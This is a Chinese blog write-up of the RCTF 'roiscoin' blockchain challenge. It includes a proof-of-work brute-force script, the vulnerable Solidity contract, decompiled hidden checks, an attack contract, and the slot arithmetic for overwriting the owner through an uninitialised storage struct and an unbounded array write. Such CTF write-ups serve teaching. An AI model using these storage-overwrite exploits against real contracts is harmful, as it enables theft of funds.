Rctf Web Blockchain wp

R

目录

web

占坑,等 wp 复现下,这次比赛之后我发现我根本不会 web,哭哭。

roiscoin

这题挺巧妙的,大概思路是要先解锁 codex 那个可变数组,用可变数组任意变量覆盖,从而把 owner 变成自己的地址。这个题不仅用发外部地址的方法解决了抄作业的问题,在合约代码的编写上还参考了一些经典蜜罐 23333,可以感受到出题人用心了。

首先 nc 连接上题目,要算爆破一个哈希,但是比较坑的是格式问题,试了一会儿才试出来,脚本:

# py2 
from hashlib import sha256
for i in range(10000000):
        s = str(i) + "13c0fcadf33dc5169f35d53f558d978e".decode("hex")
        h = sha256(s).hexdigest()
        if h[-5:] == "00000":
                print(i, s, h)
                res = ""
                for bit in str(i):
                    res = res + "3" + str(bit)
                print res
                break

连上去之后先申请个外部地址,用给的 token 再申请个合约,去 etherscan 上可以查看交易进度,等交易完成就得到合约地址了;交互界面还能得到源码,不过和这个源码有坑点,之后会提到:

pragma solidity ^0.4.23;

contract FakeOwnerGame {
    event SendFlag(address _addr);

    uint randomNumber = 0;
    uint time = now;
    mapping (address => uint) public BalanceOf;
    mapping (address => uint) public WinCount;
    mapping (address => uint) public FailCount;
    bytes32[] public codex;
    address private owner;
    uint256 settlementBlockNumber;
    address guesser;
    uint8 guess;

    struct FailedLog {
        uint failtag;
        uint failtime;
        uint success_count;
        address origin;
        uint fail_count;
        bytes12 hash;
        address msgsender;
    }
    mapping(address => FailedLog[]) FailedLogs;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function payforflag() onlyOwner {
        require(BalanceOf[msg.sender] >= 2000);
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    } 

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

        if (guess == answer) {
            WinCount[msg.sender] += 1;
            BalanceOf[msg.sender] += 1000;
        } else {
            FailCount[msg.sender] += 1;
        }

        if (WinCount[msg.sender] == 2) {
            if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
                guesser = 0;
                WinCount[msg.sender] = 0;
                FailCount[msg.sender] = 0;
                msg.sender.transfer(address(this).balance);
            } else {
                FailedLog failedlog;
                failedlog.failtag = 1;
                failedlog.failtime = now;
                failedlog.success_count = WinCount[msg.sender];
                failedlog.origin = tx.origin;
                failedlog.fail_count = FailCount[msg.sender];
                failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
                failedlog.msgsender = msg.sender;
                FailedLogs[msg.sender].push(failedlog);
            }
        }
    }

    function beOwner() payable {
        require(address(this).balance > 0);
        if(msg.value >= address(this).balance){
            owner = msg.sender;
        }
    }

    function revise(uint idx, bytes32 tmp) {
        codex[idx] = tmp;
    }
}

首先还是先看 getflag 的条件,balance > 2000、必须是 owner。owner 似乎好办,beOwner() 似乎就可以提供这样的服务,但是经过一番尝试会发现 if 里面的代码从来没执行过,仔细一想这其实跟之前看过的一个蜜罐很像,因为在给合约打钱之后,合约的余额会立马刷新,我们打过去的钱肯定永远小于等于合约的钱。但是其实可以看到出题人在判断余额的时候用的 >=,也就是说如果我们下发完合约就执行beOwner() 是可以执行成功的(后面跟出题人讨论了下确认是非预期)。

这里先不讨论非预期的做法(假设代码里是 >),稍微看看其他的函数会发现没有能够改变 owner 值的函数,那也就是说我们只能通过 slot 覆盖来改变 owner 的值。那这题目里又有哪些可以覆盖的地方呢?

首先最明显的就是在 settle() 里面定义的结构体,由于没有声明存储位置,结构体默认会存储在 storage 上,从而导致变量覆盖,这里等于是覆盖 slot0 – slot5,但是 owner 在 slot6,所以这只是第一步,我们还需要别的地方打配合。

其次可以看到有个 codex 可变数组,似乎没什么功能,但是我们可以覆盖掉 slot5,slot5 刚好记录了这个可变数组的长度,而覆盖掉 slot5 的高位是交互地址。也就是说我们如果能让账户开头为 0xff,那基本可以覆盖掉任意地址。

于是生成一个 0xff 开头的外部地址(怎么生成请看下文),似乎万事俱备了,接下来就是怎么触发第一个变量覆盖。

第一个变量覆盖的位置在 setter(),调用这个函数需要地址等于 gusser,于是要先调用 lockInGuess() 并给合约打一块钱。这里看看源码就知道其实是个猜数的功能,但是不要被 uint8 迷惑了,猜数的结果是 mod 2 的,也就是结果只有 0 和 1,随便选一个多调用几次就可以满足 WinCount[msg.sender] == 2(刚做的时候脸黑连续七次都是失败,一度怀疑源码),这时第一次变量覆盖被触发,codex 的长度被重写成一个 0xff 开头的数,但是这时当我们调用 revise() 会发现交易成功,但是变量并没有写到链上,这里我本地又搭了个基本一致的环境,却发现跟远程结果不一样。既然相同操作结果不一样,那必然是代码的问题,于是去反编译下合约,找到签名为 0339f300(sha3(“revise(uint, bytes32)”))的函数,发现源码确实不一样:

def unknown0339f300(uint256 _param1, uint256 _param2): # not payable
  if 97 and caller == 97:
      if caller != tx.origin:
          require _param1 < unknown94bd7569.length
          unknown94bd7569[_param1].field_0 = _param2

这里源码藏了两个条件,一个是 caller 的后两位必须是 97(0x61),还有就是必须通过合约调用。于是我们需要一个外部地址,这个外部地址部署的第一个合约必须以 0xff 开头并以 0x61 结尾。

关于生成合约地址或者外部地址请看 pika 师傅的这篇文章,这里由于我没装上环境,傅总帮忙魔改了下写了个多线程版本(傅总 tql),大概是两分钟出一个。

有了合约把相关操作绑定到攻击合约上,我瞎写了个 exp:

contract exp{
	FakeOwnerGame target = FakeOwnerGame(0x089A7b31A3988FaF5286E5dD043379422cCc5AB6);
	function guess()public payable{
		target.lockInGuess.value(1 ether)(1);
	}
	function repeat() public{
		// 要调用好几次,直到 balance 大于 2000
		target.settle();
	}
	function flag() public {
		target.payforflag();
	}
	function fugai(uint idx, bytes32 tmp) public{
            target.revise(idx, tmp);
        }
}

最后覆盖掉 slot6 就可以了,这里 codex 的初始地址是 slot5,所以对应的 storage 上的地址是 sha3(“0000000000000000000000000000000000000000000000000000000000000005”),即 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0,既然我们要复写到 slot6,就可以计算0x10000000000000000000000000000000000000000000000000000000000000006 – 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0,结果等于 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256,所以我们的参数是 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256,合约地址。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.